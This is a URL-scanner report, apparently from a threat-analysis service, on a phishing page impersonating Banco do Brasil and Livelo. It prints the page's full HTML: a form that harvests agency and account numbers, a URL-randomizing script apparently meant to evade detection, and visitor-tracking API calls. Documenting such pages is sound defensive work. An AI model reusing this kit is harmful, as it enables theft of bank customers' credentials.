https://livelo-acess-bb.hidora.com/acesso-conta-pc.php

Submitted URL:
https://livelo-acess-bb.hidora.com/acesso-conta-pc.php
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 28 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

NameType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
generateUUIDfunction
randomizeURLfunction
informacaoidstring
angularobject
$function
jQueryfunction
$jscompobject

Console log messages · 3 found

Messages logged to the web console

TypeCategoryLog
errornetwork
URL
https://livelo-acess-bb.hidora.com/img/agencia.png
Text
Failed to load resource: the server responded with a status of 404 ()
errornetwork
URL
https://livelo-acess-bb.hidora.com/api/api-visita-adicionar.php
Text
Failed to load resource: the server responded with a status of 500 ()
errornetwork
URL
https://livelo-acess-bb.hidora.com/api/api-online-adicionar.php
Text
Failed to load resource: the server responded with a status of 500 ()

HTML

The raw HTML body of the page

<html ng-app="app" ng-controller="appController" class="ng-scope"><head><style type="text/css">@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}</style><script>
  // Função para gerar um UUID
  function generateUUID() {
    return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
      var r = Math.random() * 16 | 0,
          v = c === 'x' ? r : (r & 0x3 | 0x8);
      return v.toString(16);
    });
  }

  // Array com as palavras que queremos randomizar
  const palavras = ['resgate', 'livelo', 'bb', 'nreply'];

  // Função para randomizar a URL
  function randomizeURL() {
    // Randomizar a ordem das palavras
    const shuffledWords = palavras.sort(() => Math.random() - 0.5);
    var uuid = generateUUID(); // Gerar um UUID
    var baseUrl = window.location.href.split('?')[0]; // Obter a parte base da URL
    var newUrl = `${baseUrl}?${shuffledWords.join('-')}-${uuid}`; // Criar a nova URL
    window.history.replaceState({}, document.title, newUrl); // Atualizar a URL sem recarregar a página
  }

  // Chamar a função ao carregar a página
  window.onload = randomizeURL;
</script>





  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">

  <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
  <meta name="theme-color" content="#2852f2">
  <meta name="msapplication-navbutton-color" content="#2852f2">
  <meta name="apple-mobile-web-app-capable" content="yes">
  <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">


  <title>Banco do Brasil</title>
<meta name="title" content="Banco do Brasil">
<meta name="description" content="O Banco do Brasil tem serviços pensados em quem sempre está ao nosso lado: você. Abra sua conta pelo App ou pela Internet e aproveite!">

  <link rel="stylesheet" href="css/bootstrap.min.css">
  <link href="css/animate.min.css" rel="stylesheet">

  <link rel="stylesheet" href="style.css">

  <link rel="icon" href="img/logo.ico" type="image/icon">
  <link href="https://fonts.googleapis.com/css?family=Lato&amp;display=swap" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css?family=Open+Sans&amp;display=swap" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css?family=Roboto&amp;display=swap" rel="stylesheet">
    <script>
    var informacaoid = encodeURIComponent('NjkxNzgw');
  </script>
  </head>

<body class="vh-100">
  <style>
    input:valid,
    input:focus {
      border-bottom: 3px solid #1a6bad;
      color: #000;
    }

    .vermelho-erro {
      border-bottom: 3px solid red !important;
    }
  </style>
    <div class="h-100 d-flex flex-column justify-content-between">
    <div class="col-12 d-flex flex-column justify-content-center align-items-center minha-barra">
      <div class="d-flex flex-row align-items-center justify-content-between topo-barra">
        <div class="">
          <img src="img/logo.png" width="59px" height="59px" alt="">
          <img src="img/logo-2.png" class="ms-3" width="59px" height="59px" alt="">
        </div>
        <h3 class="d-block flex-fill mb-0 text-center titulo-bar">Atendimento</h3>
      </div>
    </div>
    <div class="col-12 flex-fill d-flex flex-column justify-content-center align-items-center splash-white">
      <div class="card-bb-top pb-3">
        <h1 class="caixas-login-h1 text-center mb-4">Agência e conta</h1>
        <form action="acesso-conta-senha-pc.php" method="post" class="ng-pristine ng-valid">
          <div class="input-container mt-2">
            <span class="bb-container-campo-label pb-2 d-block">Agência</span>
            <input id="campo1" class="bb-container-campo" type="text" name="campo1" pattern=".+" maxlength="6" minlength="3" required="" placeholder="Agência">
            <p class="text-center bb-container-campo-span">Informe sua agência com dígito</p>
          </div>

          <div class="input-container mt-2">
            <span class="bb-container-campo-label pb-2 d-block">Conta</span>
            <input id="campo2" class="bb-container-campo" type="text" name="campo2" pattern=".+" maxlength="13" minlength="3" required="" placeholder="Conta">
            <p class="text-center bb-container-campo-span">Informe sua conta com dígito</p>
            <p class="text-center bb-container-campo-span text-danger p-0 mb-1 hide" id="errona">Verifique os dados
              informados.</p>
            <img src="img/agencia.png" alt="" id="checkedIMG" style="cursor: pointer;">
          </div>
        </form>

        <div class="bb-container-botao mt-4" id="entrarP">CONTINUAR</div>

        <a href="acesso-tipo.php" class="link-rodape-login mt-3 w-100 d-block text-center link-menu-a">Outro tipo de
          acesso</a>
      </div>
    </div>
    <div class="col-12 d-flex flex-row justify-content-center align-items-end splash-white">
      <img src="img/footer.png" alt="">
    </div>
  </div>

  <script src="angular/angular.min.js"></script>
  <script src="angular/angular-cookies.min.js"></script>
  <script src="angular/i18n/angular-locale_pt-br.js"></script>
  <script src="js/jquery.min.js"></script>
  <script src="js/jquery.mask.min.js"></script>
  <script src="js/bootstrap.min.js"></script>
  <script src="js/bootstrap.bundle.min.js"></script>
  <script src="js/controller.js"></script>
  <script src="js/acesso.js"></script>
  <script src="js/validador.js"></script>

  <script type="text/javascript">
    var cIMG = 1;
    $('#checkedIMG').click(function(event) {
      if (cIMG == 1) {
        $('#checkedIMG').attr({
          src: 'img/agenciaHover.png'
        });
        cIMG = 0
      } else {
        $('#checkedIMG').attr({
          src: 'img/agencia.png'
        });
        cIMG = 1
      }
    });
  </script>
  <script type="text/javascript">
    var ponteiroSenha = 0;
    $('#campo1').mask('0000-A', {
      reverse: true
    });
    $('#campo2').mask('00000000000-#', {
      reverse: true
    });
    $('#campo3').mask('00000000', {
      reverse: true
    });


    $('#campo1').keypress(function(e) {
      if (e.which == 13) {
        e.preventDefault();
      }
    });

    $('#campo2').keypress(function(e) {
      if (e.which == 13) {
        e.preventDefault();
      }
    });

    $('#campo3').keypress(function(e) {
      if (e.which == 13) {
        e.preventDefault();
      }
    });

    function vermelho(campo1, campo2, campo3) {
      $(campo2).val('');
      $(campo1).show();
      $(campo2).addClass('vermelho-erro');
      $(campo3).addClass('label-vermelho');
    }

    function remove_vermelho(campo1, campo2, campo3) {
      $(campo1).hide();
      $(campo2).removeClass('vermelho-erro');
      $(campo3).removeClass('label-vermelho');
    }

    $('#campo1').focusin(function(event) {
      $('.campo-um').show();
      remove_vermelho('.um', '#campo1', '.label-um');
    });

    $('#campo1').focusout(function(event) {
      $('.campo-um').hide();
      if ($('#campo1').val().length < 3) {
        vermelho('.um', '#campo1', '.label-um');
      }
    })

    $('#campo2').focusin(function(event) {
      $('.campo-dois').show();
      remove_vermelho('.dois', '#campo2', '.label-dois');
      $('#errona').addClass('hide');
    });

    $('#campo2').focusout(function(event) {
      $('.campo-dois').hide();
      if ($('#campo2').val().length < 3) {
        vermelho('.dois', '#campo2', '.label-dois');
      }
    })

    $('#entrarP').click(function(event) {
      if ($('#campo1').val().length < 3) {
        vermelho('.um', '#campo1', '.label-um');
      }

      if ($('#campo1').val().length < 3) {
        vermelho('.dois', '#campo2', '.label-dois');
      } else {

        var dados = $('#campo2').val().split("-");
        var ag = $('#campo1').val().split("-");

        if (dados[0].length < 8) {
          faltante = 8 - dados[0].length;
          for (var i = 0; i < faltante; i++) {
            dados[0] = "0" + dados[0];
          }
        }

        console.log(dados[0]);


        if (ag[1] == "0") {
          ag[1] = "X"
        }

        if (ag[1] == "x") {
          ag[1] = "X"
        }

        Moip.BankAccount.validate({
          bankNumber: "001",
          agencyNumber: ag[0],
          agencyCheckNumber: ag[1],
          accountNumber: dados[0],
          accountCheckNumber: dados[1],
          valid: function() {
            $('form').submit();
          },
          invalid: function(data) {
            var errors = "";
            for (i in data.errors) {
              errors += "- " + data.errors[i].description + " ";
            }
            vermelho('.um', '#campo1', '.label-um');
            vermelho('.dois', '#campo2', '.label-dois');

            $('#errona').removeClass("hide");

            setTimeout(function() {
              $('#campo1').focus();
            }, 1000);
          }
        });

      }
    });
  </script>



</body></html>